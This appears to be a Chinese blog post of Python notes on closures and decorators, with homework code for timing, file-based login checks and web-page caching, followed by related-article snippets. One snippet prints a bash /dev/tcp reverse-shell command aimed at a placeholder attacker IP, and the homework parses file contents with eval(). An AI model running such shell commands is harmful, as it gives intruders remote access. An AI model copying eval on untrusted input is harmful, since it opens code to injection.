day19 装饰器
Python之路,Day7 = Python基础7
random
wrapper 包装材料;包装纸;书皮
global a 全局的(也就是,函数最外面的那个)
nonlocal a 局部的,上层的函数的变量,如果函数中没有,不会去全局变量中找,直接报错
# 闭包函数: 1.内部函数 2.对外部作用域的引用(全局变量除外)
# 闭包函数的特点:
自带作用域
延迟计算或惰性计算
f.__closure__ 所有的闭包函数都有这个方法,也就是说,如果有这个方法,就证明它是闭包函数
f.__closure__[0].cell_contents 查看闭包函数里面的外部包含的变量(只包含自己调用的那个变量)
装饰器
定义:装饰器本质为任意可调用的对象,被装饰的对象也可以为任意可调用的对象。。。
功能:在不修改被装饰对象的源代码及调用方式的前提下,为其添加新功能
原则:
1.不修改源代码
2.不修改调用方法
语法:
在被装饰的函数上方的一行协商 @装饰器的名字
def outer(func):
def inner(*args, **kwargs):
print("111")
res = func(*args, **kwargs)
print('222')
return res
return inner
======================homework=============
一:编写函数,(函数执行的时间是随机的)
二:编写装饰器,为函数加上统计时间的功能
三:编写装饰器,为函数加上认证的功能
四:编写装饰器,为多个函数加上认证的功能(用户的账号密码来源于文件),要求登录成功一次,后续的函数都无需再输入用户名和密码
注意:从文件中读出字符串形式的字典,可以用eval('{"name":"egon","password":"123"}')转成字典格式
#! /usr/bin/env python
# -*- coding: utf-8 -*-
# __author__ = "Always"
# Date: 2017/6/14 import time, random auth = {'login':False} def aut():
"""
从文件读取用户名和密码,从而验证是否登录成功
登陆成功后,修改登陆状态
"""
while True:
username = input('username:').strip()
password = input('password:').strip()
if not username or not password:continue with open('username', 'r', encoding='utf-8') as f:
for i in f:
userinfo = eval(i.strip())
if username == userinfo['name'] and password == userinfo['password']:
auth['login'] = True
return 1
else:
print('Inout Error...') def check(func):
"""
检查 auth 的登陆状态,如果为 False, 需要验证,否则,不需要验证
:return:
"""
def wrapper(*args, **kwargs):
if auth['login'] == False:
aut()
func()
return wrapper def timmer(func):
"""
这个是装饰器
为函数添加一个新功能:打印运行程序时使用花费的时间
:return:
"""
def wrapper(*args, **kwargs):
start_time = time.time()
res = func(*args, **kwargs)
stop_time = time.time()
print('All cost %s.'%(stop_time - start_time))
return res return wrapper
@check
@timmer
def say_hello():
"""
打印一个 hello。。。 ,每个字母间隔随机秒
:return:
"""
for i in 'Hello。。。':
print(i)
time.sleep(random.randrange(1,2)) @check
@timmer
def say_goodbye():
for i in 'goodbye。。。':
print(i)
time.sleep(random.randrange(1, 2)) # say_hello() say_hello()
say_goodbye()
五:编写下载网页内容的函数,要求功能是:用户传入一个url,函数返回下载页面的结果
六:为题目五编写装饰器,实现缓存网页内容的功能:
具体:实现下载的页面存放于文件中,如果文件内有值(文件大小不为0),就优先从文件中读取网页内容,否则,就去下载,然后存到文件中
七:还记得我们用函数对象的概念,制作一个函数字典的操作吗,来来来,我们有更高大上的做法,在文件开头声明一个空字典,然后在每个函数前加上装饰器,完成自动添加到字典的操作
#! /usr/bin/env python
# -*- coding: utf-8 -*-
# __author__ = "Always"
# Date: 2017/6/14 import os, sys, time
if not os.path.exists(r'缓存'):
os.mkdir(r'缓存') url_dict = {'baidu':'http://www.baidu.com',
'52pojie':'http://www.52pojie.cn',
} from urllib.request import urlopen def wrapper(func):
"""
这是个装饰器,主要的作用是接收一个url的路径,然后返回这个网页的代码
:param func:
:return:
"""
def inner(*args, **kwargs): file_name = args[0].split('.')[1]
if os.path.exists(r'缓存/%s'%file_name) and os.path.getsize(r'缓存/%s'%file_name) > 0:
with open(r'缓存/%s'%file_name, 'rb') as f:
print('缓存已经存在,正在读取。。。')
time.sleep(2)
return f.read() # 将新网址加入字典中
url_dict[file_name] = args[0] print('正在从网上下载。。。')
time.sleep(2)
res = func(*args, **kwargs)
# print(res)
# print(type(res)) # print(res)
# input()
with open(r'缓存/%s' % file_name, 'wb') as f:
f.write(res)
# input('回车键结束。。。。')
return res
return inner @wrapper
def get(url):
return urlopen(url).read() # res = get('http://www.baidu.com')
# print(res.decode()) # print(get('http://www.baidu.com').decode()) while True:
choose_list = []
for c, i in enumerate(url_dict):
choose_list.append(i)
print(' %s %s\t\t%s'%(c+1, i, url_dict[i]))
choose = input('\n请输入序号或直接输入网址:http://www.baidu.com\n>>>').strip()
if choose.upper() == "Q":
break
elif choose.isdigit() and 0 < int(choose) <= len(choose_list): res = get(url_dict[choose_list[int(choose) - 1]])
print(res)
elif 'http://' in choose:
res = get(choose)
print(res)
else:
print('输入错误')
time.sleep(2)
初写代码,BUG,不足之处自然很多,如有问题,欢迎指出。
谢谢!!!
day19 装饰器的更多相关文章
- Python高手之路【四】python函数装饰器
def outer(func): def inner(): print('hello') print('hello') print('hello') r = func() print('end') p ...
- python装饰器
今天看了装饰器的一些内容,感觉@修饰符还是挺抽象的. 装饰器就是在不用改变函数实现的情况下,附加的实现一些功能,比如打印日志信息等.需要主意的是装饰器本质是一个高阶函数,她可以返回一个函数. 装饰器需 ...
- Python(四)装饰器、迭代器&生成器、re正则表达式、字符串格式化
本章内容: 装饰器 迭代器 & 生成器 re 正则表达式 字符串格式化 装饰器 装饰器是一个很著名的设计模式,经常被用于有切面需求的场景,较为经典的有插入日志.性能测试.事务处理等.装饰器是解 ...
- [原创]django+ldap实现单点登录(装饰器和缓存)
前言 参考本系列之前的文章,我们已经搭建了ldap并且可以通过django来操作ldap了,剩下的就是下游系统的接入了,现在的应用场景,我是分了2个层次,第一层次是统一认证,保证各个系统通过ldap来 ...
- PHP 装饰器模式
装饰器模式:是在不必改变原类文件和使用继承的情况下,动态地扩展一个对象的功能. [装饰器模式中主要角色] 抽象组件角色(Component):定义一个对象接口,以规范准备接受附加责任的对象,即可以给这 ...
- python cookbook 学习系列(一) python中的装饰器
简介 装饰器本质上是一个Python函数,它可以让其他函数在不需要做任何代码变动的前提下增加额外功能,装饰器的返回值也是一个函数对象.它经常用于有切面需求的场景,比如:插入日志.性能测试.事务处理.缓 ...
- python基础补漏-05-生成器和装饰器
[1]生成器 很难用简单的语言描述生成器. 生成器:从字面上来理解,就是以某种规则为基础,不断的生成数据的工具 生成器函数: 在函数中如果出现了yield关键字,那么该函数就不再是普通函数,而是生成器 ...
- python --> 递归 以及装饰器
一.递归知识 函数迭套执行,逐层执行之后,满足某个条件之后就会停止执行,将return值返回上层的函数,上层函数再逐层返回,最终返回给最初始函数. 递归在斐波那契数列的应用[斐波那契数列特点:前两个数 ...
- python 装饰器的理解
一. 装饰器是一个很著名的设计模式,经常被用于有切面需求的场景,较为经典的有插入日志.性能测试.事务处理等.装饰器是解决这类问题的绝佳设计,有了装饰器,我们就可以抽离出大量函数中与函数功能本身无关的雷 ...
随机推荐
- C# 基于创建一个mysql 连接池
创建一个连接池操作类 using MySql.Data.MySqlClient; using System; using System.Collections.Generic; using Syste ...
- Codeforces Round #563 (Div. 2) E. Ehab and the Expected GCD Problem
https://codeforces.com/contest/1174/problem/E dp 好题 *(if 满足条件) 满足条件 *1 不满足条件 *0 ///这代码虽然写着方便,但是常数有点大 ...
- JS实现菜单滚动到一定高度后固定
在有些网页中我们会发现会有这样的现象:某个div会随着屏幕的滚动达到一定高度的时候位置就固定下来了.例如一下导航条: 那么这里就需要用到JS的逻辑方法来实现了. html <div id=&qu ...
- 2017-3-8 html基础标签
<head></head>头标签 <title>页面标签</title> <body>文档的内容可在浏览器中显视的</body> ...
- Django使用步骤
pip install django django-admin startproject mysite tree django-admin startapp mysite_user django-ad ...
- BZOJ 3626: [LNOI2014]LCA(树剖+差分+线段树)
传送门 解题思路 比较有意思的一道题.首先要把求\(\sum\limits_{i=l}^r dep[lca(i,z)]\)这个公式变一下.就是考虑每一个点的贡献,做出贡献的点一定在\(z\)到根节点的 ...
- 各种反弹shell的总结
linux自带的bash反弹shell 在攻击机行执行 nc -lvvp 12345 来监听端口 在目标机上执行bash -i >& /dev/tcp/攻击机IP/12345 0> ...
- char*转LPCWSTR【转载】
文章转载自https://blog.csdn.net/zhouxuguang236/article/details/8761497 通过MultiByteToWideChar函数转换 MultiByt ...
- NX二次开发-UFUN创建块UF_MODL_create_block1
NX9+VS2012 #include <uf.h> #include <uf_modl.h> UF_initialize(); UF_FEATURE_SIGN Sign = ...
- python 使用abc实现接口类/虚类(2.2)
python 使用abc实现接口类/虚类 具体类 class BaseA: def run(self): print('base A running') class ChildA(BaseA): de ...